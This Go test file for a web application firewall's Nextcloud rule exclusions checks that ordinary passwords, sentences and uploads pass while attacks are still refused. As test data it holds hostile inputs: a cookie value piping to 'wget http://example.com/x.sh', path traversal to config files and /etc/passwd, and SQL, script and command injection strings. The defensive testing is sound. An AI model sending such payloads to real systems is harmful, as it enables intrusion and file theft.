check / check (push) In progress
A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password now pass; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. Model: opus-5-5
709 lines
22 KiB
Go
709 lines
22 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"encoding/json"
|
|
"html"
|
|
"maps"
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
)
|
|
|
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
|
const nextcloudThreshold = 5
|
|
|
|
// nextcloudSignIn is the sign-in page.
|
|
const nextcloudSignIn = "/login"
|
|
|
|
// nextcloudShare is a public share's page.
|
|
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
|
|
|
// nextcloudPreview is a public share's preview of a file.
|
|
const nextcloudPreview = "/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO"
|
|
|
|
// nextcloudUsers is the OCS API's list of accounts.
|
|
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
|
|
|
// nextcloudShares is the OCS API's list of shares.
|
|
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
|
|
|
// nextcloudStatus is where the OCS API sets an account's status.
|
|
const nextcloudStatus = "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom"
|
|
|
|
// nextcloudFiles is the WebDAV folder of the account admin.
|
|
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
|
|
|
// nextcloudSave is where the text editor saves a document.
|
|
const nextcloudSave = "/apps/text/session/1/save"
|
|
|
|
// The WebDAV methods the Files app's search and a comment's edit use, and
|
|
// the method the sync client lists a folder with.
|
|
const (
|
|
nextcloudSearch = "SEARCH"
|
|
nextcloudPropPatch = "PROPPATCH"
|
|
nextcloudPropFind = "PROPFIND"
|
|
)
|
|
|
|
// nextcloudOther is a JSON field no exclusion names.
|
|
const nextcloudOther = `{"other":"python3"}`
|
|
|
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
|
}
|
|
|
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
|
// and 932260, each on a path where it skips them, ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudQueryFields = []string{
|
|
"/login?user=",
|
|
"/login?redirect_url=",
|
|
"/index.php/login?user=",
|
|
"/apps/files/?dir=",
|
|
"/apps/files/files/134?dir=",
|
|
"/index.php/apps/files/?dir=",
|
|
nextcloudPreview + "?file=",
|
|
nextcloudShare + "/download?path=",
|
|
nextcloudShare + "/download?path=%2F&files=",
|
|
nextcloudUsers + "?search=",
|
|
nextcloudUsers + "/details?search=",
|
|
"/ocs/v2.php/cloud/groups?search=",
|
|
"/ocs/v1.php/cloud/groups/details?search=",
|
|
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
|
nextcloudShares + "?path=",
|
|
"/ocs/v2.php/search/providers/files/search?term=",
|
|
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
|
}
|
|
|
|
// nextcloudFormFields are the form data fields that skip the four rules, each
|
|
// on a path where it skips them, ending in "=".
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudFormFields = []struct{ target, field string }{
|
|
{nextcloudSignIn, "user="},
|
|
{nextcloudUsers, "userid="},
|
|
{nextcloudUsers, "displayName="},
|
|
{nextcloudUsers, "groups%5B%5D="},
|
|
{nextcloudUsers + "/admin", "value="},
|
|
{"/ocs/v2.php/cloud/groups", "groupid="},
|
|
{nextcloudShares, "path="},
|
|
{nextcloudShares, "label="},
|
|
{nextcloudShares, "shareWith="},
|
|
}
|
|
|
|
// nextcloudBody is a form data, JSON or XML body, sent with its method to a
|
|
// path. It holds %s, where a value goes, written as the body's type needs.
|
|
type nextcloudBody struct{ method, target, contentType, body string }
|
|
|
|
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
|
// on a path where it skips them.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudBodies = []nextcloudBody{
|
|
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
|
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
|
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
|
{
|
|
http.MethodPut, nextcloudUsers + "/admin",
|
|
jsonBody, `{"key":"headline","value":"%s"}`,
|
|
},
|
|
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
|
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
|
{
|
|
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
|
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
|
},
|
|
{http.MethodPost, nextcloudSave, jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
|
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
|
{
|
|
nextcloudSearch, "/remote.php/dav/", xmlBody,
|
|
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
|
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
|
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
|
},
|
|
{nextcloudMkcol, nextcloudCalendars + "work", xmlBody, nextcloudNewCollection},
|
|
{nextcloudMkcol, nextcloudAddressBooks + "team", xmlBody, nextcloudNewCollection},
|
|
{nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody, nextcloudNewCalendar},
|
|
}
|
|
|
|
// The WebDAV methods that make a calendar or an address book.
|
|
const (
|
|
nextcloudMkcol = "MKCOL"
|
|
nextcloudMkcalendar = "MKCALENDAR"
|
|
)
|
|
|
|
// nextcloudCalendars and nextcloudAddressBooks hold the calendars and the
|
|
// address books of the account admin.
|
|
const (
|
|
nextcloudCalendars = "/remote.php/dav/calendars/admin/"
|
|
nextcloudAddressBooks = "/remote.php/dav/addressbooks/users/admin/"
|
|
)
|
|
|
|
// nextcloudNewCollection is the XML body that names a new calendar or address
|
|
// book, as an MKCOL sends it.
|
|
const nextcloudNewCollection = `<d:mkcol xmlns:d="DAV:"><d:set><d:prop>` +
|
|
`<d:displayname>%s</d:displayname></d:prop></d:set></d:mkcol>`
|
|
|
|
// nextcloudNewCalendar is the XML body of an MKCALENDAR that names the new
|
|
// calendar.
|
|
const nextcloudNewCalendar = `<c:mkcalendar xmlns:d="DAV:" ` +
|
|
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
|
`<d:displayname>%s</d:displayname></d:prop></d:set></c:mkcalendar>`
|
|
|
|
// nextcloudCalendarDescription is the XML body of an MKCALENDAR that gives
|
|
// the new calendar a description.
|
|
const nextcloudCalendarDescription = `<c:mkcalendar xmlns:d="DAV:" ` +
|
|
`xmlns:c="urn:ietf:params:xml:ns:caldav"><d:set><d:prop>` +
|
|
`<d:displayname>Meetings</d:displayname>` +
|
|
`<c:calendar-description>%s</c:calendar-description>` +
|
|
`</d:prop></d:set></c:mkcalendar>`
|
|
|
|
// nextcloudAddressBookDescription is the XML body of an MKCOL that gives a new
|
|
// address book a description.
|
|
const nextcloudAddressBookDescription = `<mkcol xmlns="DAV:" ` +
|
|
`xmlns:CARD="urn:ietf:params:xml:ns:carddav"><set><prop>` +
|
|
`<resourcetype><collection /><CARD:addressbook /></resourcetype>` +
|
|
`<displayname>Trainers</displayname>` +
|
|
`<CARD:addressbook-description>%s</CARD:addressbook-description>` +
|
|
`</prop></set></mkcol>`
|
|
|
|
// nextcloudDescription is a calendar's description, as recorded.
|
|
const nextcloudDescription = "Powershell and python3 meetings; ls -la first"
|
|
|
|
// nextcloudDocument is the text of a document the text editor saves, which
|
|
// skips the rules for code blocks too.
|
|
//
|
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
|
var nextcloudDocument = nextcloudBody{
|
|
http.MethodPost, nextcloudSave, jsonBody, `{"autosaveContent":"%s"}`,
|
|
}
|
|
|
|
// nextcloudTexts are the fields that hold what a person writes, which skip
|
|
// the rules for sentences too: a document, a comment, a share's note and an
|
|
// account's status.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudTexts = []nextcloudBody{
|
|
nextcloudDocument,
|
|
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
|
{
|
|
nextcloudPropPatch, "/remote.php/dav/comments/files/1/2", xmlBody,
|
|
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
|
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
|
`</d:propertyupdate>`,
|
|
},
|
|
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
|
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/Notes","note":"%s"}`},
|
|
{
|
|
http.MethodPut, "/ocs/v1.php/apps/files_sharing/api/v1/shares/1",
|
|
formData, "note=%s",
|
|
},
|
|
{http.MethodPut, nextcloudStatus, jsonBody, `{"message":"%s"}`},
|
|
{http.MethodPut, nextcloudStatus, formData, "message=%s"},
|
|
}
|
|
|
|
// nextcloudSentences are sentences recorded in the texts, which rules
|
|
// refused there.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudSentences = []string{
|
|
"It is fixed; diff attached",
|
|
"Run python3 or powershell; ls -la shows .htaccess",
|
|
"We need more time; find the old notes first",
|
|
"Tested on Windows; powershell works",
|
|
}
|
|
|
|
// nextcloudCodeBlock is a shell script in a code block of a document, as
|
|
// recorded.
|
|
const nextcloudCodeBlock = "```bash\n#!/bin/bash\nset -e\n" +
|
|
"tar czf /tmp/notes.tar.gz notes/\nls -la /tmp\n```"
|
|
|
|
// nextcloudBodyScore returns the request that sends value, which is not
|
|
// escaped, in sent's body, and the score crs gives it.
|
|
func nextcloudBodyScore(
|
|
t *testing.T, crs *coreruleset.CoreRuleSet, sent nextcloudBody, value string,
|
|
) (string, int) {
|
|
t.Helper()
|
|
|
|
switch sent.contentType {
|
|
case formData:
|
|
value = url.QueryEscape(value)
|
|
case jsonBody:
|
|
quoted, err := json.Marshal(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
value = string(quoted[1 : len(quoted)-1])
|
|
case xmlBody:
|
|
value = html.EscapeString(value)
|
|
}
|
|
|
|
body := strings.Replace(sent.body, "%s", value, 1)
|
|
r := request{sent.method, sent.target, []string{sent.contentType}}
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
|
|
return sent.method + " " + sent.target + " " + body, got.Score
|
|
}
|
|
|
|
// nextcloudFieldScores returns the score that the Core Rule Set, reading
|
|
// bodies, gives each request that sends value, a query value, in one of the
|
|
// fields that skip the four rules, keyed by the request.
|
|
func nextcloudFieldScores(t *testing.T, value string) map[string]int {
|
|
t.Helper()
|
|
|
|
crs := readingBodies(t)
|
|
scores := map[string]int{}
|
|
|
|
for _, target := range nextcloudQueryFields {
|
|
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
|
}
|
|
|
|
for _, sent := range nextcloudFormFields {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
|
}
|
|
|
|
written, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
for _, sent := range nextcloudBodies {
|
|
request, score := nextcloudBodyScore(t, crs, sent, written)
|
|
scores[request] = score
|
|
}
|
|
|
|
return scores
|
|
}
|
|
|
|
// nextcloudTextScores returns the score that the Core Rule Set, reading
|
|
// bodies, gives each request that sends text, which is not escaped, in one of
|
|
// the texts, keyed by the request.
|
|
func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|
t.Helper()
|
|
|
|
crs := readingBodies(t)
|
|
scores := map[string]int{}
|
|
|
|
for _, sent := range nextcloudTexts {
|
|
request, score := nextcloudBodyScore(t, crs, sent, text)
|
|
scores[request] = score
|
|
}
|
|
|
|
return scores
|
|
}
|
|
|
|
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
|
// bodies, gives signing in with value, a query value, as the password.
|
|
func nextcloudPasswordScore(t *testing.T, value string) int {
|
|
t.Helper()
|
|
|
|
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
|
|
|
return got.Score
|
|
}
|
|
|
|
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, value := range hardValues {
|
|
for request, score := range nextcloudFieldScores(t, value) {
|
|
if score >= nextcloudThreshold {
|
|
t.Errorf("%s refused: %d", request, score)
|
|
}
|
|
}
|
|
|
|
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
|
t.Errorf("password %s refused: %d", value, score)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestNextcloudPasswordPasses(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
|
|
wantRandomPasswordsPass(t, r, "password")
|
|
wantPasswordAttacksPass(t, r, "password")
|
|
wantPasswordAttacksRefused(t, r, "password")
|
|
}
|
|
|
|
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, sentence := range nextcloudSentences {
|
|
for request, score := range nextcloudTextScores(t, sentence) {
|
|
if score >= nextcloudThreshold {
|
|
t.Errorf("%s refused: %d", request, score)
|
|
}
|
|
}
|
|
}
|
|
|
|
document := "Backup steps:\n\n" + nextcloudCodeBlock
|
|
|
|
request, score := nextcloudBodyScore(t, readingBodies(t), nextcloudDocument, document)
|
|
if score >= nextcloudThreshold {
|
|
t.Errorf("%s refused: %d", request, score)
|
|
}
|
|
}
|
|
|
|
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
for _, attack := range []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fconfig%2Fconfig.php",
|
|
scriptInjection,
|
|
} {
|
|
written, err := url.QueryUnescape(attack)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
scores := nextcloudFieldScores(t, attack)
|
|
maps.Copy(scores, nextcloudTextScores(t, written))
|
|
|
|
for request, score := range scores {
|
|
if score < nextcloudThreshold {
|
|
t.Errorf("%s let through: %d", request, score)
|
|
}
|
|
}
|
|
}
|
|
|
|
// A shell command after a ";" reaches Nextcloud only in the texts.
|
|
for request, score := range nextcloudFieldScores(t, commandInjection) {
|
|
if score < nextcloudThreshold {
|
|
t.Errorf("%s let through: %d", request, score)
|
|
}
|
|
}
|
|
|
|
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
|
t.Errorf("password %s let through: %d", commandInjection, score)
|
|
}
|
|
}
|
|
|
|
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
cookie := func(value string) request {
|
|
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
|
}
|
|
|
|
for _, value := range hardValues {
|
|
name, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
wantResult(t, crs, cookie(name), matched())
|
|
}
|
|
|
|
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
|
for _, attack := range []string{
|
|
injection,
|
|
"../../config/config.php",
|
|
scriptTag,
|
|
"x|wget http://example.com/x.sh",
|
|
} {
|
|
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
|
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
|
}
|
|
}
|
|
|
|
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
|
if got.Score < nextcloudThreshold {
|
|
t.Errorf("nc_other=python3 let through: %+v", got)
|
|
}
|
|
}
|
|
|
|
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, method := range []string{
|
|
nextcloudPropFind, nextcloudPropPatch, "MKCOL", "COPY", "MOVE", "REPORT",
|
|
nextcloudSearch, "LOCK", "UNLOCK",
|
|
} {
|
|
for _, target := range []string{
|
|
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
|
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
|
} {
|
|
wantResult(t, crs, request{method, target, nil}, matched())
|
|
}
|
|
|
|
for _, target := range []string{
|
|
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
|
} {
|
|
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
|
}
|
|
}
|
|
|
|
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
|
|
|
// MKCALENDAR only where the calendars are.
|
|
for _, target := range []string{nextcloudCalendars, nextcloudCalendars + "work/"} {
|
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched())
|
|
}
|
|
|
|
for _, target := range []string{
|
|
nextcloudFiles, nextcloudAddressBooks, "/remote.php/dav/",
|
|
"/x/remote.php/dav/calendars/",
|
|
} {
|
|
wantResult(t, crs, request{nextcloudMkcalendar, target, nil}, matched(911100))
|
|
}
|
|
|
|
// PROPFIND, and no other WebDAV method, where a client asks for them.
|
|
for _, target := range []string{"/.well-known/caldav", "/.well-known/carddav"} {
|
|
wantResult(t, crs, request{nextcloudPropFind, target, nil}, matched())
|
|
wantResult(t, crs, request{nextcloudMkcol, target, nil}, matched(911100))
|
|
}
|
|
|
|
other := request{nextcloudPropFind, "/.well-known/other", nil}
|
|
wantResult(t, crs, other, matched(911100))
|
|
}
|
|
|
|
func TestNextcloudDescriptionsPassAndAttacksAreRefused(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// A new calendar's and a new address book's description, as recorded.
|
|
for _, described := range []struct {
|
|
sent nextcloudBody
|
|
description string
|
|
}{
|
|
{
|
|
nextcloudBody{
|
|
nextcloudMkcalendar, nextcloudCalendars + "work/", xmlBody,
|
|
nextcloudCalendarDescription,
|
|
},
|
|
nextcloudDescription,
|
|
},
|
|
{
|
|
nextcloudBody{
|
|
nextcloudMkcol, nextcloudAddressBooks + "trainers/", xmlBody,
|
|
nextcloudAddressBookDescription,
|
|
},
|
|
"Powershell and python3 contacts; ls -la first",
|
|
},
|
|
} {
|
|
sent := described.sent
|
|
|
|
request, score := nextcloudBodyScore(t, crs, sent, described.description)
|
|
if score >= nextcloudThreshold {
|
|
t.Errorf("%s refused: %d", request, score)
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
sqlInjection, "..%2F..%2Fconfig%2Fconfig.php", scriptInjection, commandInjection,
|
|
} {
|
|
written, err := url.QueryUnescape(attack)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
request, score := nextcloudBodyScore(t, crs, sent, written)
|
|
if score < nextcloudThreshold {
|
|
t.Errorf("%s let through: %d", request, score)
|
|
}
|
|
}
|
|
|
|
// An MKCOL on the calendars' paths skips only the rules for names.
|
|
sent.method, sent.target = nextcloudMkcol, nextcloudCalendars+"work/"
|
|
|
|
request, score = nextcloudBodyScore(t, crs, sent, described.description)
|
|
if score < nextcloudThreshold {
|
|
t.Errorf("%s let through: %d", request, score)
|
|
}
|
|
}
|
|
}
|
|
|
|
// nextcloudChangedEvent is the Content-Type of the PUT with which the
|
|
// Calendar app changes an event.
|
|
const nextcloudChangedEvent = "Content-Type: text/calendar; charset=UTF-8; " +
|
|
"component=vevent; charset=UTF-8"
|
|
|
|
func TestNextcloudChangedEventsAndContactsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, changed := range []request{
|
|
{http.MethodPut, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
|
{
|
|
http.MethodPut, nextcloudAddressBooks + "team/1.vcf",
|
|
[]string{"Content-Type: text/vcard; charset=UTF-8; charset=UTF-8"},
|
|
},
|
|
} {
|
|
wantResult(t, crs, changed, matched())
|
|
}
|
|
|
|
// Elsewhere, with another method or another type, two charsets are refused.
|
|
for _, refused := range []request{
|
|
{http.MethodPut, nextcloudFiles + "1.ics", []string{nextcloudChangedEvent}},
|
|
{http.MethodPost, nextcloudCalendars + "work/1.ics", []string{nextcloudChangedEvent}},
|
|
{
|
|
http.MethodPut, nextcloudCalendars + "work/1.ics",
|
|
[]string{"Content-Type: text/plain; charset=UTF-8; charset=UTF-8"},
|
|
},
|
|
} {
|
|
if got := inspect(t, crs, refused); !slices.Contains(got.RuleIDs, 920530) {
|
|
t.Errorf("%s %s %q let through: %+v",
|
|
refused.method, refused.target, refused.headers, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// nextcloudUploads are a JSON file and an XML file, as the Files app uploads
|
|
// them, which rules refused when they read them as fields.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var nextcloudUploads = []struct{ name, contentType, body string }{
|
|
{"pytest.json", jsonBody, `{"scripts": {"test": "python3 -m pytest"}}`},
|
|
{"logs.xml", xmlBody, "<tasks><task>ls -la /var/log</task></tasks>"},
|
|
}
|
|
|
|
func TestNextcloudUploadsAreNotReadAsFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, upload := range nextcloudUploads {
|
|
uploaded := request{
|
|
http.MethodPut, nextcloudFiles + upload.name, []string{upload.contentType},
|
|
}
|
|
|
|
got, _ := inspectBody(t, crs, uploaded, upload.body)
|
|
if got.Score >= nextcloudThreshold {
|
|
t.Errorf("PUT %s refused: %+v", uploaded.target, got)
|
|
}
|
|
|
|
for _, refused := range []request{
|
|
// Elsewhere, or with another method, the body is read.
|
|
{http.MethodPost, "/", uploaded.headers},
|
|
{http.MethodPut, "/apps/files/" + upload.name, uploaded.headers},
|
|
{http.MethodPost, uploaded.target, uploaded.headers},
|
|
// The query is still checked.
|
|
{http.MethodPut, uploaded.target + "?x=" + sqlInjection, uploaded.headers},
|
|
} {
|
|
got, _ := inspectBody(t, crs, refused, upload.body)
|
|
if got.Score < nextcloudThreshold {
|
|
t.Errorf("%s %s let through: %+v", refused.method, refused.target, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
methods := []string{http.MethodGet, http.MethodPut, nextcloudPropFind, "MOVE", "LOCK"}
|
|
|
|
for _, method := range methods {
|
|
for _, target := range []string{
|
|
nextcloudFiles + "../../../config/config.php",
|
|
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
|
} {
|
|
got := inspect(t, crs, request{method, target, nil})
|
|
if got.Score < nextcloudThreshold {
|
|
t.Errorf("%s %s let through: %+v", method, target, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, refused := range []string{
|
|
"/?dir=python3",
|
|
"/apps/other/?dir=python3",
|
|
"/apps/files/?other=python3",
|
|
"/login?other=python3",
|
|
"/x/login?user=python3",
|
|
nextcloudShare + "?files=powershell",
|
|
"/?file=powershell",
|
|
// Each public share path keeps the rules on the other's fields.
|
|
nextcloudPreview + "?files=powershell",
|
|
nextcloudShare + "/download?file=powershell",
|
|
"/?search=python3",
|
|
nextcloudUsers + "?other=python3",
|
|
"/x/ocs/v2.php/cloud/users?search=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
|
|
for _, sent := range []nextcloudBody{
|
|
// A JSON field of the same name in the query keeps the rules.
|
|
{
|
|
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
|
jsonBody, `{"message":"python3"}`,
|
|
},
|
|
{
|
|
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
|
jsonBody, `{"value":"python3"}`,
|
|
},
|
|
{
|
|
http.MethodPost, nextcloudUsers + "?json.userid=python3",
|
|
jsonBody, `{"userid":"python3"}`,
|
|
},
|
|
{
|
|
http.MethodPut, nextcloudShares + "/1?json.note=python3",
|
|
jsonBody, `{"note":"python3"}`,
|
|
},
|
|
{
|
|
http.MethodPut, nextcloudStatus + "?json.message=python3",
|
|
jsonBody, `{"message":"python3"}`,
|
|
},
|
|
// Other JSON fields keep them.
|
|
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, nextcloudOther},
|
|
{http.MethodPost, nextcloudSave, jsonBody, nextcloudOther},
|
|
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, nextcloudOther},
|
|
{http.MethodPost, nextcloudUsers, jsonBody, nextcloudOther},
|
|
// A note or a status on another OCS path keeps them.
|
|
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"note":"python3"}`},
|
|
{http.MethodPut, nextcloudUsers + "/admin", formData, "message=python3"},
|
|
// XML on another path, or with another method, keeps them.
|
|
{
|
|
nextcloudSearch, nextcloudFiles,
|
|
xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`,
|
|
},
|
|
{
|
|
nextcloudPropPatch, nextcloudFiles + "notes.txt",
|
|
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
|
},
|
|
{
|
|
"REPORT", "/remote.php/dav/comments/files/1/2",
|
|
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
|
},
|
|
} {
|
|
r := request{sent.method, sent.target, []string{sent.contentType}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < nextcloudThreshold {
|
|
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|